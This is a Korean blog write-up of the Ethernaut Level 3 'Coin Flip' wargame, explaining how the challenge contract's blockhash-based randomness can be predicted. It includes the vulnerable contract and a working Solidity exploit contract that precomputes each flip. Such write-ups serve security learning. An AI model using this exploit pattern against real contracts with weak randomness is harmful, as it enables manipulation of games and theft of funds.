Pwnstar

Ethernaut Level 3(Coin Flip) 본문

Wargame/Ethernaut

Ethernaut Level 3(Coin Flip)

포너블처돌이 2023. 3. 9. 22:44

coin flip 이라는 문제인데, 10번의 결과를 맞추면 되고 “?”에서 Beyound the console 부분을 보면 도움이 될 거라고 한다.

Remix IDE를 이용하거나 local ruffle project를 설정해서 콘솔 밖에서 컨트랙트에 개입하라는 것 같은데, 뭔 말인지 모르겠지만 일단 Remix를 써 본 적이 있어 이게 그나마 친숙하니 그걸 사용해보기로 했다.

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

코드는 짧다.

생성자로 consecutiveWins 변수를 0으로 만들어준다.

flip 함수를 보자.

blockValue는 block number에서 1의 뺀 block의 hash값을 넣어준다

만약 이 값이 lastHash와 같으면 함수를 중지한다.

conFlip 변수에는 blockValue를 FACTOR 값으로 나눈 값이 들어가고, conFlip이 1이면 ture, 1이 아니면 false의 값이 side 변수에 들어간다.

side와 flip함수의 매개변수인 _guess의 값이 같으면 consecutiveWins 변수의 값이 1 증가하고 다르다면 0을 넣어준다.

이 consecutiveWins 변수의 값을 10을 만들면 될 것 같은데

먼저 Remix IDE에 내 metamask 지갑을 연동했다.

여기서 Injected Provider - MetaMask를 클릭해서 내 지갑을 연동할 수 있는데, 이게 처음에 안된다면

크롬 우측 상단에 메타마스크 여우 그림에 우클릭을 하고 확장 프로그램 관리를 눌러준다.

여기서 화살표 눌러서 뒤로 가면 현재 사용하고 있는 확장 프로그램들이 다 나올건데,

우측 상단에 개발자 모드가 있다 그걸 활성화하주고 왼쪽 상단에 업데이트를 눌러주면

Injected Provider - MetaMask → 요게 활성화될 것이다.

그 뒤에는 그냥 지갑 연동하면 된다.

그 뒤에는 뭐 어떻게 해야할 지 감이 잡히지 않아 우선 level의 contract와 연동해서 flip함수를 호출할 수 있는 지 확인해보았다.

// SPDX-License-Identifier: UNLICENCED
pragma solidity ^0.8.0;


interface Iexp{
    function flip(bool _guess) external view returns (bool);
}

contract Exploit{

    address levelInstance = 0x42aa4a412Eadc258C97221fbC55118F7871cd90D;
    Iexp flipcontract = Iexp(levelInstance);

    function getfactor(bool _g) public view returns (bool) {
        return Iexp(levelInstance).flip(_g);
    }

}

코드는 이렇게 작성하였는데, deploy는 성공했지만

flip을 호출할 수 없었다.

코드를 조금 수정해보니 실행은 성공했다. 그리고 문제해결의 실마리를 잡은 것 같아 시도해봤는데 그 방법대로 그냥 문제가 풀려서 설명을 해보자면

코드에서 blockhash함수의 인자값으로 들어가는 것은 block.number - 1 이다.

근데 이 값을 유추할 수 있지 않을까? 트랜잭션이 시작되면 어차피 블럭의 개수는 0개부터 시작하지 않을까 해서 테스트할 코드를 짜 봤다.

pragma solidity ^0.8.0;

contract CoinTest {
  uint256 blockValue;  
  function test() public returns (uint256) {
    blockValue = uint256(block.number - 1);
    return blockValue;
  }
}

코드는 이렇게 짰고, test함수를 호출하면

이렇게 block.number - 1의 값을 “1”이라고 보여주는 것을 볼 수 있는데, 처음 block.number의 값이 2인 이유는 처음 스마트 컨트랙트를 deploy할 때 하나, test 함수를 호출할 때 하나가 생기는 것이기 때문이지 않을까 생각이 된다.

이 부분을 좀 확인할 수 있으면 좋겠는데, 차후 방법을 찾으면 내용을 추가하려고 한다.

아무튼 이렇게 test를 통해 나의 가설은 어느정도 맞아떨어졌지만, 이게 ethernaut의 coinflip 문제에서도 똑같은 갯수의 block을 가지고 시작하는 지는 정확히 알 수 없어서 실제로 테스트를 진행해 보았다.

exploit코드는 다음과 같이 작성하였다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract Exploit{
  ICoinFlip public coinflip;

  constructor(address _level) {
    coinflip = ICoinFlip(_level);
  }

  function guess_bool() public view returns (uint256){
    uint256 blockValue = uint256(blockhash(block.number - 1));
    return blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  }

  function flip() public {
    bool guess = guess_bool() == 1 ? true : false;
    coinflip.flip(guess);
  }
}

이렇게 작성하고 컨트랙트를 deploy하면 metamask를 통해 contract를 배포할 수 있고, flip함수를 호출시킬 때마다 consecutiveWins 변수의 값이 1씩 증가하는 것을 확인할 수 있다.

(그런데 flip함수가 매 번 성공하는 것은 아니다. 이유는 모르겠는데, transaction 자체가 실패할 때도 있고, transaction이 실패할 거라며 그래도 진행하겠냐고 물어보기도 한다. 그럴땐 그냥 또 시도하면 성공함.)

words 부분에 숫자가 하나씩 커지는게 보이쥬? 무난하게 성공하고 있다.

이제 이 숫자가 10일때, submit을 해주면 아래처럼 또 문제 풀었다고 요란하게 축하해준다.

처음에 문제를 너무 어렵게 생각한 것이 문제푸는데 오히려 독이 된 것 같다. 뭐 상호작용하래서 뭔가 특수한 방법으로 변수의 값을 가져와야하는 건가 했는데, 그렇게 어려운 문제가 아니었음.


Uploaded by N2T

'Wargame > Ethernaut' 카테고리의 다른 글

Ethernaut Level 5(Token)  (1) 2023.03.12
Ethernaut Level 4(Telephone)  (0) 2023.03.12
Ethernaut Level 2(Fal1out)  (0) 2023.02.21
Ethernaut Level 1(Fallback)  (0) 2023.01.31
Ethernaut Level 0(Hello Ethernaut)  (0) 2023.01.27
Comments